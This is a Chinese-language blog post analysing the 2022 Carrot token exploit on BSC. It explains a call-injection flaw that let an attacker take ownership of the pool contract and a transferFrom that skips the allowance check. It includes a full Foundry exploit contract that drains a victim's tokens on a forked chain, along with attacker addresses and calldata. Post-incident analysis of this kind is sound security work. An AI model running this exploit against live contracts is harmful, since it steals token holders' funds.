Bsc代币Carrot攻击事件分析

  • 小驹
  • 更新于 2022-10-19 23:38
  • 阅读 2517

合约中存在两个漏洞代码注入和逻辑错误,通过漏洞利用,可以达到转移任意用户的Carrot代币。利用过中还涉及一个未开源的pool合约。一句话总结漏洞利用过程:利用代码注入漏洞Carrot合约通过调用pool合约的方法成为pool合约的owner,利用逻辑漏洞绕过转账时的授权检查。

Carrot是一个ERC20代币,漏洞存在于代币的合约中。合约中存在两个漏洞代码注入和逻辑错误,通过漏洞利用,可以达到转移任意用户的Carrot代币。利用过中还涉及一个未开源的pool合约。一句话总结漏洞利用过程:利用代码注入漏洞Carrot合约通过调用pool合约的方法成为pool合约的owner,利用逻辑漏洞绕过转账时的授权检查。

基本信息

攻击者、攻击合约

account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon

存在漏洞的合约

Carrot合约:0xcFF086EaD392CcB39C49eCda8C974ad5238452aC 

pool合约,未开源: 0x6863b549bf730863157318df4496ed111adfa64f account 0x6863b549bf730863157318df4496ed111adfa64f vulPool

漏洞原理

漏洞类型为:代码注入和逻辑错误。

漏洞主要存在两个地方:

  1. 代码注入。transReward函数可以达到执行任意pool合约的目的。
  2. 逻辑错误。使用的REC20合约中的transferFrom函数中的对满足_isExcludedFromFee的用户,没有授权的判定。

漏洞1:代码注入。导致任意人可以调用pool合约的代码,从而可以改变pool合约的owner。

漏洞存在于Carrot合约中transReward函数中,该函数为public函数,可以通过传递data参数调用pool合约,pool合约未开源。

function transReward(bytes memory data) public {
        pool.functionCall(data);
    }

pool合约中存在0xbf699b4b 的函数,该函数可以设置pool合约的owner

漏洞2:逻辑错误。transferFrom函数中满足免税的用户,直接_transfer了,而没有进行approve的判断,从而所有Carrot代币的用户,都可以被转走。

function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {

        _beforeTransfer(_msgSender(),recipient,amount);

        if(_isExcludedFromFee[_msgSender()]){
            _transfer(sender, recipient, amount);
            return true;
        }
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

攻击过程分析

主要使用blocksec进行分析。

  1. 调用黑客合约的0x668f0ad4 方法
  2. 黑客合约直接delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251  0x668f0ad4的方法
  3. 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251  0x668f0ad4 直接调用了hackCon的 0x8d3360cc 方法 (这里考虑是不是回调)
  4. delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251  0x8d3360cc的方法

    1. hackCon将Carrot代币授权给0x9b7325a150254df59d7253885d41d8d3310f9c1a 

    2. PancakeRouter将Carrot代币授权给hackCon

    3. 调用Carrot.transReward,这个函数只有一句代码 

      pool.functionCall(data);

      其中pool的地址为:0x6863b549bf730863157318df4496ed111adfa64f

      data中传递的参数:

      给pool传递的原始数据为:

      这里应该是弯路
      0xbf699b4b0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae
      应该对应两个字段:
      前4个字节为函数名bf699b4b,现在未知
      后面对应着一个合约地址:0x5575406ef6b15eec1986c412b9fbe144522c45ae,这个地址是黑客的攻击合约。
      
      所以,这里是将黑客攻击合约的地址做为参数传递给了pool合约的bf699b4b函数。
      
      可以使用cast calldata "test(address)" 0x5575406ef6b15eec1986c412b9fbe144522c45ae 看下calldata数据

      <aside> 💩 PS:这个pool地址是由Carrot的官方部署的。

      </aside>

      通过对pool合约逆向。可以看到

      function 0xbf699b4b(uint256 varg0) public nonPayable { 
          require(4 + (msg.data.length - 4) - 4 >= 32); 
          0x2110(varg0);
          if (_owner.code.size > 0) {
              stor_3_0_0 = 1; //IsOwnerContract
          }
          if (!stor_3_0_0) {
              v0 = v1 = _owner == msg.sender;
              if (_owner != msg.sender) {
                  v0 = v2 = 0xff & _addLiquidity[msg.sender]; // 如果没设置owner的话,要求调用者在这个mapping中
              }
              require(v0);
          } else {
              require(_owner == msg.sender); //如果设置过owner的话,要求调用者必须是owner
          }
          _owner = varg0; //将传入的地址设置成owner
      }
    4. hackCon从攻击合约向Carrot合约转了0个Carrot代币。( 🤣为什么要转?)

    5. 0x00b433800970286cf08f34c96cf07f35412f1161 向hackCon转了31万的Carrot代币。

攻击复现

anvil --fork-url https://rpc.ankr.com/bsc --fork-block-number 22055611

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/Carrot.sol";
import "forge-std/console2.sol";
contract Hack {
    address public owner;
    address constant public CARADDR = 0xcFF086EaD392CcB39C49eCda8C974ad5238452aC;
    address constant public PANCAKEROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address constant public POOL = 0x6863b549bf730863157318df4496eD111aDFA64f;
    constructor() {
        owner = msg.sender;
    }
    modifier OnlyOwner() {
        require(owner==msg.sender, "OnlyOwner can");
        _;
    }
    function kill(address _to) public OnlyOwner {
        selfdestruct(payable(_to));
    }

    function hackProc() public OnlyOwner {
        Carrot carrot = Carrot(CARADDR);
        carrot.approve(PANCAKEROUTER, ~uint(0));

        carrot.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));
        carrot.transferFrom(address(this), CARADDR, 0);
        // 开始从授权账户转币
        address victim = 0x00B433800970286CF08F34C96cf07f35412F1161; //310344736073087429864760 原始攻击使用的受害者
        uint amount = carrot.balanceOf(victim);
        console2.log("Victim:%s, carrot balance:%s",
                    victim, amount);
        carrot.transferFrom(victim, address(this), amount);
        // 0x0522898a86196612248aD0FE88E8De4f7156DaC3

    }

}

image.png

漏洞修复

修复的方式

  1. 去掉了代码注入调用。
  2. 去掉了对免税者不检查approve的逻辑。

新合约与旧合约代码上的改变。

image.png

image.png

新合约的pool地址为  0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5

新的pool地址中也有一个 bf699b4b 的函数

image.png

几个思考

  1. 为什么只取了一个用户地址的代币?
  2. 不通过Carrot合约,直接调用pool合约的0xbf699b4b可以取得owner权限吗?
  3. 是什么时候设置的owner的?有没有可能修改这个值?怎么验证这个owner?

    合约变量存储在slot中,每个槽32字节。

对2的解答:

不可以。对Carrot合约0xcff086ead392ccb39c49ecda8c974ad5238452ac,在pool合约中mapping变量的值为1,对其他合约0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84,在pool合约中mapping变量的值为0。所以其他合约在调用0xbf699b4b函数时,会因为mapping的原因,导致无法通过pool合约中的require检查,因此函数调用不会成功。 0xcff086ead392ccb39c49ecda8c974ad5238452ac的mapping变量的值

cast index address 0xcff086ead392ccb39c49ecda8c974ad5238452ac 1
0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3

cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3 -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000001

0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84(foundry部署的合约地址)的mapping变量的值

cast index address 0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84 1
0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb

cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000000

对3的解答

IsOwnerContract存储在合约的STORAGE 3中,使用cast命令可以读取到,该值为0,表示owner不是一个合约地址。

owner的地址在合约的STORAGE 5中,使用

cast storage 0x6863b549bf730863157318df4496ed111adfa64f 5  -r $ANVIL_RPC
0x0000000000000000000000008958c8689d325fd9e2a1ede3d5dc1acfcfb65742

参考

攻击tx: 0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9

漏洞合约地址:0xcff086ead392ccb39c49ecda8c974ad5238452ac

漏洞利用时pool合约地址:0x6863b549bf730863157318df4496ed111adfa64f

新合约地址: 0xE9809e9FD9FFa2b9f52755839bE6B6F9891C50cB

新合约使用的pool地址: 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5

account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa

account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon

https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9

Foundry的基本使用总结 https://learnblockchain.cn/article/4725

点赞 0
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
小驹
小驹
0xcD46...3461
weixin: xiaoju521区块链安全分析,欢迎私信沟通交流